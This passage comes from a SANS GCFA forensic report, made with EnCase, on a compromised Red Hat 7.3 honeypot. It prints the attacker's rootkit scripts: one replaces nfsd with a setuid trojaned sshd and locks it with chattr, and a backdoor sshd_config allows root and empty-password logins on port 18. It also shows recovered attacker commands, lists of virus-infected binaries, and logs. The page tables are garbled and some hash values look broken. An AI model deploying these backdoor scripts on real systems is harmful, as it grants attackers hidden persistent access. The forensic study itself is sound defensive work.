Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\nfsd\nfsd
Entry Modified 06/29/03 03:11:59PM
Last Accessed 06/29/03 03:25:21PM
Last Written 12/29/02 04:24:52PM
Hash Value 2aa3b69eaaab68e3cb3be8f6f8ca03
Physical Size 1,024
Logical Size 884
Comment: Here is the nfsdi script that is called from the install script to install the ssh backdoor.

```bash
#!/bin/sh
if [ -x /usr/sbin/nfsd ]; then
    chattr +iau /usr/sbin/nfsd
    rm -f /usr/sbin/nfsd
    cp -f ../p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
else
    cp -f ../p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
fi
if [ -f /sbin/sshd_config ]; then
    chattr +iau /sbin/sshd_config
    rm -f /sbin/sshd_config
    cp -f sshd_config /sbin
    chattr +iau /sbin/sshd_config
else
    cp -f sshd_config /sbin
    chattr +iau /sbin/sshd_config
fi
```

Comment: This script is called by the install script right after the killall trojan is installed. The line that calls it is "sh p.ssh".
EnCase Computer Analysis Report

Page 256

© SANS Institute 2004, Author retains full rights.

EnCase Computer Analysis Report

Page 256

© SANS Institute 2004, Author retains full rights.

EnCase Computer Analysis Report

Page 256

© SANS Institute 2004, Author retains full rights.
EnCase Computer Analysis Report

Page 264

© SANS Institute 2004, Author retains full rights.

Sans GCA Cert Assent/EnCase Computer Analysis Report
Entry Modified
echo Your Dir $D, Go There And Type ./kds or portmap

chmod 0755 popauth
echo Your Dir 80, Go There And Type ./kds or portmap To Ins
echo done!

102) Name    p.sshd
Description  File
Full Path   /etc/sshd/EnCase Computer Analysis Report
Entry Modified 06/29/03 03:25:20PM
Last Accessed 06/29/03 03:25:20PM
Last Written 06/29/03 03:25:20PM
Hash Value 9217bb76c8b19ee6e5f9a83b5ebec
### EnCase Computer Analysis Report

**Sans GCFA Cert Assignment: EnCase Computer Analysis Report**

<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>103</td>
<td>popauth</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp/.s'popauth</td>
<td>243,712</td>
<td>242,909</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Entry Modified</td>
<td>06/29/03 03:25:20PM</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Accessed</td>
<td>06/29/03 03:25:20PM</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Written</td>
<td>06/29/03 03:25:20PM</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Hash Value</td>
<td>9580542311468b426d76ada43f609be9</td>
<td></td>
</tr>
<tr>
<td>104</td>
<td>pstree</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp/.s'pstree</td>
<td>36,864</td>
<td>36,415</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Entry Modified</td>
<td>06/29/03 03:25:20PM</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Accessed</td>
<td>06/29/03 03:25:20PM</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Written</td>
<td>06/29/03 03:25:20PM</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Hash Value</td>
<td>a2683199c868fccafe52795d0ec879</td>
<td></td>
</tr>
<tr>
<td>105</td>
<td>sense</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp/.s'sense</td>
<td>22,528</td>
<td>21,943</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Entry Modified</td>
<td>06/29/03 03:25:20PM</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Accessed</td>
<td>06/29/03 03:25:20PM</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Written</td>
<td>02/07/02 11:37:18AM</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Hash Value</td>
<td>464dc23cac477c43418eb8d3ef087065</td>
<td></td>
</tr>
<tr>
<td>106</td>
<td>ssh_host_key</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp/.s'sshd/ssh_host_key</td>
<td>4,096</td>
<td>4,060</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Entry Modified</td>
<td>06/29/03 03:25:20PM</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Accessed</td>
<td>06/29/03 03:25:20PM</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Written</td>
<td>02/06/02 04:29:25AM</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Hash Value</td>
<td>ec411d19fb0cd1c45e2e63f9a978315d</td>
<td></td>
</tr>
<tr>
<td>107</td>
<td>sshd_config</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp/.s'sshd/sshd_config</td>
<td>1,024</td>
<td>498</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Entry Modified</td>
<td>06/29/03 03:25:20PM</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Accessed</td>
<td>06/29/03 03:25:20PM</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Last Written</td>
<td>02/06/02 04:29:25AM</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Hash Value</td>
<td>44fd911b3e39b43124e91dd1670658c0</td>
<td></td>
</tr>
<tr>
<td>108</td>
<td>sshd_config</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\tmp/.s'sshd/sshd_config</td>
<td>1,024</td>
<td>498</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

Description  File
Full Path  Sans GCFA Cert Assignment:Linux 7.3 Honey pot system: /tmp/.s/shd:sshd_config
Entry Modified  06/29/03 03:11:59PM
Last Accessed  06/29/03 03:25:21PM
Last Written  11/26/02 09:35:22PM
Hash Value  ce630951c72096d9ef1d3b12fd309b281
Physical Size  1,024
Logical Size  707

Comment: Here is the ssh configuration file used by the ssh backdoor program nsfd.

# This is ssh server systemwide configuration file.
# Do not delete this file is very important for your system.conf

Port 18
ListenAddress 0.0.0.0
HostKey /sbin/xxh_h
RandomSeed /sbin/xxh_r
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
StrictModes yes
QuietMode Yes
X11Forwarding yes
X11DisplayOffset 10
FascistLogging no
PrintMotd yes
KeepAlive yes
SyslogFacility DAEMON
RhostsAuthentication no
RhostsRSAAuthentication yes
RSAAuthentication yes
PasswordAuthentication yes
PermIntEmptyPasswords yes
UseLogin no
# CheckMail no
# PidFile /u/zappa/.ssh/pid
# AllowHosts
# DenyHosts lowsecurity.1heirs.com *.evil.org evil.org
# Umask 022
# SilentDeny yes

109) Name  sshd-install
Description  File
Full Path  Sans GCFA Cert Assignment:Linux 7.3 Honey pot system: /tmp/.s/shd/sshd-install
Entry Modified  06/29/03 03:11:59PM
Last Accessed  06/29/03 03:11:58PM
Last Written  11/26/02 09:40:32PM
Hash Value  2eebbaf9afee6267d55470c72f33a700
Physical Size  2,048
Logical Size  1,053

Comment: sshd-install script

#!/bin/sh
rm -rf /etc/ssh
mkdir -p /etc/ssh >>../install.log 2>&1
cp -f init.sshd /etc/rc.d/init.d/sshd
if [ -x /sbin/chkconfig ]; then
   /sbin/chkconfig --add sshd >>../install.log 2>&1
else
   ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc0.d/K25sshd
   ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc1.d/K25sshd
   ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc2.d/S55sshd
   ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc3.d/S55sshd
   ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc4.d/S55sshd
   ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc5.d/S55sshd
   ln -s /etc/rc.d/init.d/sshd /etc/rc.d/rc6.d/K25sshd
fi

if [ ! -x /usr/sbin/sshd ] ; then
   cp -f /etc/ssh/sshd_config /usr/sbin >>../install.log 2>&1
fi

if [ ! -f /etc/ssh/ssh_host_key ]; then
   cp -f /etc/ssh/ssh_host_key /etc/ssh >>../install.log 2>&1
fi

if [ ! -f /etc/ssh_host_key ]; then
   cp -f /etc/ssh_host_key /etc >>../install.log 2>&1
fi

chattr +iau /etc/rc.d/init.d/sshd /usr/sbin/sshd >>../install.log 2>&1
/etc/rc.d/init.d/sshd restart >>../install.log 2>&1
the functions library is called by the networks script here.

. /etc/init.d/functions

Volume /var
EnCase Computer Analysis Report

Volume

File System: EXT3
Sectors per cluster: 2
Total Sectors: 529,137
Total Sectors: 270,917,632 bytes (258.4MB)
Total Clusters: 264,568
Unallocated: 219,693,056 bytes (209.5MB)
Free Clusters: 214,544
bytes (48.9MB)
Volume Name: 11,551,743

The following are bookmarks from Volume /var
httpd access log for June 27, 2003

192.168.2.15 - - [27/Jul/2003:14:10:34 -0600] "GET /poweredby.png HTTP/1.1" 200 2326
XXX.XXX.XXX.ca - - [27/Jul/2003:17:35:44 -0600] "GET /icons/apache_pb.gif HTTP/1.1" 200 0

httpd access log for June 29, 2003

XXX.XXX.XXX.com - - [28/Jul/2003:08:46:23 -0600] "HEAD / HTTP/1.0" 200 0
XXX.XXX.XXX.202 - - [29/Jul/2003:02:36:53 -0600] "HEAD / HTTP/1.0" 200 0

httpd error log for June 29, 2003

[Sun Jun 29 04:02:28 2003] [notice] Apache/1.3.23 (Unix) (Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26 configured -- resuming normal operations
[Sun Jun 29 04:02:28 2003] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Sun Jun 29 04:02:28 2003] [notice] Accept mutex: sysvsem (Default: sysvsem)
[Sun Jun 29 15:06:18 2003] [error] [client XXX.XXX.XXX.XXX.108.64] client sent HTTP/1.1 request without host

Mail file for root. Showes Sementation faults and cron job problems.

From root Fri Jun 27 04:02:02 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost) by localhost.localdomain (8.11.6/8.11.6) id h5RA22S06825 for root; Fri, 27 Jun 2003 04:02:02 -0600
Date: Fri, 27 Jun 2003 04:02:02 -0600
From: root <root@localhost.localdomain>
Message-Id: <200306271002.h5RA22S06825@localhost.localdomain>
EnCase Computer Analysis Report

To: root@localhost.localdomain
Subject: LogWatch for rh1

!!!!!!!!!!!!!!!!!!!! LogWatch 2.6 Begin !!!!!!!!!!!!!!!!!!!!!
--------------------------------- sendmail Begin ---------------------------------
334 bytes transferred
1 messages sent
--------------------------------- sendmail End ---------------------------------

!!!!!!!!!!!!!!!!!!!! LogWatch End !!!!!!!!!!!!!!!!!!!!!

From root Sat Jun 28 04:02:03 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id hSAA22A09057
for root; Sat, 28 Jun 2003 04:02:02 +0000
Date: Sat, 28 Jun 2003 04:02:02 +0000
From: root <root@localhost.localdomain>
Message-Id: <200306281002.h5SA22A09057@localhost.localdomain>
To: root@localhost.localdomain
Subject: LogWatch for rh1

!!!!!!!!!!!!!!!!!!!! LogWatch 2.6 Begin !!!!!!!!!!!!!!!!!!!!!
--------------------------------- ModProbe Begin ---------------------------------
Can't locate these modules:
  0a: 1 Time(s)
--------------------------------- ModProbe End ---------------------------------

--------------------------------- sendmail Begin ---------------------------------
334 bytes transferred
1 messages sent
--------------------------------- sendmail End ---------------------------------

--------------------------------- SSSH Begin ---------------------------------
Failed logins from these:
  userid/password from 192.168.2.1: 1 time(s)
  userid/password from 192.168.2.13: 1 time(s)

Users logging in through sshd:
  userid logged in from 192.168.2.1 using password: 1 Times(s)
  root logged in from 192.168.2.121 using password: 2 Times(s)
--------------------------------- SSSH End ---------------------------------

!!!!!!!!!!!!!!!!!!!! LogWatch End !!!!!!!!!!!!!!!!!!!!!

From root Sat Jun 28 04:04:12 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
EnCase Computer Analysis Report

by localhost.localdomain (8.11.6/8.11.6) id h5SA24a09068
for root; Sat, 28 Jun 2003 04:02:04 -0600
Date: Sat, 28 Jun 2003 04:02:04 -0600
Message-Id: <20030628T0002.09068@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> run-parts /etc/cron.daily
X-Cron-Env: <SHELL=/bin/bash>
X-Cron-Env: <PATH=/sbin:/bin:/usr/sbin:/usr/bin>
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME=/>
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:
Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db

From root Sun Jun 29 04:02:03 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5TA22E10471
for root; Sun, 29 Jun 2003 04:02:02 -0600
Date: Sun, 29 Jun 2003 04:02:02 -0600
From: root <root@localhost.localdomain>
Message-Id: <20030629T0002.10471@localhost.localdomain>
To: root@localhost.localdomain
Subject: LogWatch for rh1

###################### LogWatch Begin ########################

1336 bytes transferred
2 messages sent

###################### LogWatch End #########################
To: root@localhost.localdomain
Subject: Cron <root@rh1> /usr/lib/sa/sa2 -A
X-Cron-Env: <SHELL>/bin/sh
X-Cron-Env: <HOME>/root
X-Cron-Env: <PATH>/usr/bin:/bin

/usr/lib/sa/sa2: line 14: 27610 Segmentation fault
find /var/log/sa \( -name 'sar??' -o -name 'sa??' \) -mtime +7 -exec rm -f {} \\

From root Mon Jun 30 04:05:09 2003
Return-Path: <root@localhost.localdomain>
Received: (from root@localhost)
by localhost.localdomain (8.11.6/8.11.6) id h5UA24x28029
for root; Mon, 30 Jun 2003 04:02:04 -0600
Message-Id: <200306301002.h5UA24x28029@localhost.localdomain>
From: root@localhost.localdomain (Cron Daemon)
To: root@localhost.localdomain
Subject: Cron <root@rh1> run-parts /etc/cron.daily
X-Cron-Env: <SHELL>/bin/bash
X-Cron-Env: <PATH>/sbin:/bin:/usr/sbin:/usr/bin
X-Cron-Env: <MAILTO=root>
X-Cron-Env: <HOME>/
X-Cron-Env: <LOGNAME=root>

/etc/cron.daily/00webalizer:
Error: Unable to open DNS cache file /var/lib/webalizer/dns_cache.db
/etc/cron.daily/makewhatis.cron:

/etc/sbin/makewhatis: line 360: 28130 Segmentation fault
rm $TMPFILE
/etc/sbin/makewhatis: line 360: 28191 Segmentation fault
rm $TMPFILE
/etc/sbin/makewhatis: line 360: 28222 Segmentation fault
rm $TMPFILE
/etc/sbin/makewhatis: line 360: 28239 Segmentation fault
rm $TMPFILE
/etc/sbin/makewhatis: line 360: 28248 Segmentation fault
rm $TMPFILE
/etc/sbin/makewhatis: line 360: 28261 Segmentation fault
rm $TMPFILE
/etc/sbin/makewhatis: line 363: 28264 Segmentation fault
rm -rf $TMPFILEDIR
/etc/sbin/makewhatis: line 1: 28266 Segmentation fault
rm -f /var/lock/makewhatis.lock

Volume swap1

The following are bookmarks from Volume swap1
clusters of interest from swap

root· XXX.XXX.XXX.ca· · · · · · · · · · · · MrIdiot

PATH=/bin:/sbin:/usr/bin:/usr:

readline stdin

more syslog.conf·

ls -l

cd /var/log·
tail messages·

ls -l

vi /etc/syslog.conf·

cd /var/log

tail boot.log

ifconfig -a

cd /usr/

more cron

cd asm

"\033]0;${USER}@${HOSTNAME%%.*}:${PWD/$HOME/~} $PROMPT_COMMAND\033]0;${USER}@${HOSTNAME%%.*}:${PWD/$HOME/~} \033C"

./sys XXX.XXX.49.137·

./samba -d 0 -S 192.168.2.*

cp /etc/syslog.conf kld.conf

chown root:root kld.conf·

./samba -d 0 -S XXX.XXX.5.*

---

**Files infected with Jac.8759 virus**

**Files infected by the Linux.Jac.8759 virus**
<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>148)</td>
<td>rmdir</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\rmdir</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>9ec6c46ce54bdced26d5deff0db0b78</td>
<td>20,480</td>
<td>19,647</td>
</tr>
<tr>
<td>149)</td>
<td>ash.static</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ash.static</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>06/24/01 08:08:19PM</td>
<td>a37e77f1a768a2dbcfef97f44f37a46aa</td>
<td>481,280</td>
<td>481,251</td>
</tr>
<tr>
<td>150)</td>
<td>loadkeys</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\loadkeys</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>04/15/02 08:05:51AM</td>
<td>fe4f44934ee081482eaf3d32028799799</td>
<td>82,944</td>
<td>82,911</td>
</tr>
<tr>
<td>151)</td>
<td>bzip2recover</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\bzip2recover</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>5d50b7a01b8e832876e7092dc91d70f4</td>
<td>16,384</td>
<td>15,624</td>
</tr>
<tr>
<td>152)</td>
<td>gencat</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>84492adb4dddecff3e3c8a30c99725b</td>
<td>20,480</td>
<td>18,040</td>
</tr>
<tr>
<td>153)</td>
<td>gencat</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>84492adb4dddecff3e3c8a30c99725b</td>
<td>20,480</td>
<td>18,040</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 84492adb4dddeccff3e3c8a30c99725b
Physical Size 20,480
Logical Size 18,040

154) Name: getent
   Description: File
   Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/getent
   Entry Modified: 06/29/03 11:53:01PM
   Last Accessed: 06/29/03 11:53:01PM
   Last Written: 06/29/03 11:53:01PM
   Hash Value: f1a14ddaf6053137dbda6798ee90f5a9
   Physical Size: 20,480
   Logical Size: 19,240

155) Name: iconv
   Description: File
   Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/iconv
   Entry Modified: 06/29/03 11:53:01PM
   Last Accessed: 06/29/03 11:53:01PM
   Last Written: 06/29/03 11:53:01PM
   Hash Value: cfaa21a7bab79204868fa7265a7870e6
   Physical Size: 53,248
   Logical Size: 51,004

156) Name: lddlibc4
   Description: File
   Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/lddlibc4
   Entry Modified: 06/29/03 11:53:01PM
   Last Accessed: 06/29/03 11:53:01PM
   Last Written: 06/29/03 11:53:01PM
   Hash Value: 2e4e896f0ea9192ef5d94673d79dd403
   Physical Size: 8,192
   Logical Size: 7,800

157) Name: lddlibc4
   Description: File
   Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/lddlibc4
   Entry Modified: 06/29/03 11:53:01PM
   Last Accessed: 06/29/03 11:53:01PM
   Last Written: 06/29/03 11:53:01PM
   Hash Value: 2e4e896f0ea9192ef5d94673d79dd403
   Physical Size: 8,192
   Logical Size: 7,800

158) Name: localedef
   Description: File
   Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/localedef
   Entry Modified: 06/29/03 11:53:01PM
   Last Accessed: 06/29/03 11:53:01PM
   Last Written: 06/29/03 11:53:01PM
   Hash Value: bb5be07bef4f5d94673d79dd403
   Physical Size: 299,008
Logical Size 298,828

159) Name localedef
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\localedef
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value bb5be07bef4f5b4d281c0fe5a4fdcb3
Physical Size 299,008
Logical Size 298,828

160) Name sprof
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\sprof
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 4206b74dd02af036ee754efe56898b3b
Physical Size 24,576
Logical Size 20,552

161) Name db1_dump185
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\db1_dump185
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 174712f4eb42f4d92e992e3a35182
Physical Size 12,288
Logical Size 11,525

162) Name db1_dump185
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\db1_dump185
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 174712f4eb42f4d92e992e3a35182
Physical Size 12,288
Logical Size 11,525

163) Name lsattr
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\lsattr
Entry Modified 06/29/03 11:53:01PM
Last Accessed 06/29/03 11:53:01PM
Last Written 06/29/03 11:53:01PM
Hash Value 56853d105a0a1562c83811c02644930
Physical Size 12,288
Logical Size 9,684

164) Name lsattr
Description File
<table>
<thead>
<tr>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
<tr>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>85042620b5dd45a67c0280c9a3751793</td>
<td>28,672</td>
<td>25,812</td>
</tr>
<tr>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>63a4be81d1843be37f99b9096ff836a</td>
<td>49,152</td>
<td>48,674</td>
</tr>
<tr>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>63a4be81d1843be37f99b9096ff836a</td>
<td>49,152</td>
<td>48,674</td>
</tr>
<tr>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>63a4be81d1843be37f99b9096ff836a</td>
<td>49,152</td>
<td>48,674</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
</tr>
<tr>
<td>---------------</td>
<td>-------------</td>
<td>------------------------------------</td>
<td>----------------------</td>
<td>---------------------</td>
<td>--------------------</td>
</tr>
<tr>
<td>ksymoops</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\ksymoops</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
</tr>
<tr>
<td>a2p</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\a2p</td>
<td>06/29/03 11:53:02PM</td>
<td>06/29/03 11:53:02PM</td>
<td>06/29/03 11:53:02PM</td>
</tr>
<tr>
<td>basename</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\basename</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
</tr>
<tr>
<td>arch</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\arch</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/01/02 05:26:24PM</td>
</tr>
<tr>
<td>ash.static</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ash.static</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>06/24/01 08:08:19PM</td>
</tr>
</tbody>
</table>
### EnCase Computer Analysis Report

Sans GCFA Cert Assignment\EnCase Computer Analysis Report  Page 287

<table>
<thead>
<tr>
<th>Entry</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>175)</td>
<td>aumix-minimal</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\aumix-minimal</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>02/26/02 04:20:56AM</td>
<td>77b6900f314a7e6c8e16c21291102c1a</td>
<td>19,456</td>
<td>19,071</td>
</tr>
<tr>
<td>176)</td>
<td>kill</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\kill</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/01/02 05:26:23PM</td>
<td>4e1659b52917e4ba4225086ad43b3159</td>
<td>17,408</td>
<td>16,523</td>
</tr>
<tr>
<td>177)</td>
<td>mv</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mv</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>d45155beffebbdc7ac6d26a7add84d3a</td>
<td>53,248</td>
<td>52,255</td>
</tr>
<tr>
<td>178)</td>
<td>Hard Link Data 1</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/13/02 05:55:33PM</td>
<td>6a91a25fc509e033def24687e78ce903</td>
<td>72,704</td>
<td>72,314</td>
</tr>
<tr>
<td>179)</td>
<td>Hard Link Data 1</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/13/02 05:55:33PM</td>
<td>6a91a25fc509e033def24687e78ce903</td>
<td>72,704</td>
<td>72,314</td>
</tr>
<tr>
<td>180)</td>
<td>sfxload</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sfxload</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/13/02 05:55:33PM</td>
<td>6a91a25fc509e033def24687e78ce903</td>
<td>72,704</td>
<td>72,314</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Last Accessed 06/30/03 04:50:02PM
Last Written 06/25/01 08:57:46AM
Hash Value bdd6746f64fb16441fb7cea2291a9e89
Physical Size 56,320
Logical Size 55,539

181) Name Hard Link Data 1
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:01PM
Last Written 03/13/02 05:55:33PM
Hash Value 6a91a25fc509e033def24687e78ce903
Physical Size 72,704
Logical Size 72,314

182) Name hdx1
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\dev\hdx1
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/29/03 03:22:11PM
Last Written 06/29/03 03:22:11PM
Hash Value 20e5862effe2cb1559ebbe0c60c4176c
Physical Size 1,744,896
Logical Size 1,744,171

183) Name rpm
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\rpm
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:02PM
Last Written 04/18/02 03:35:59PM
Hash Value 6a91a25fc509e033def24687e78ce903
Physical Size 72,704
Logical Size 72,314

184) Name Hard Link Data 1
Description File
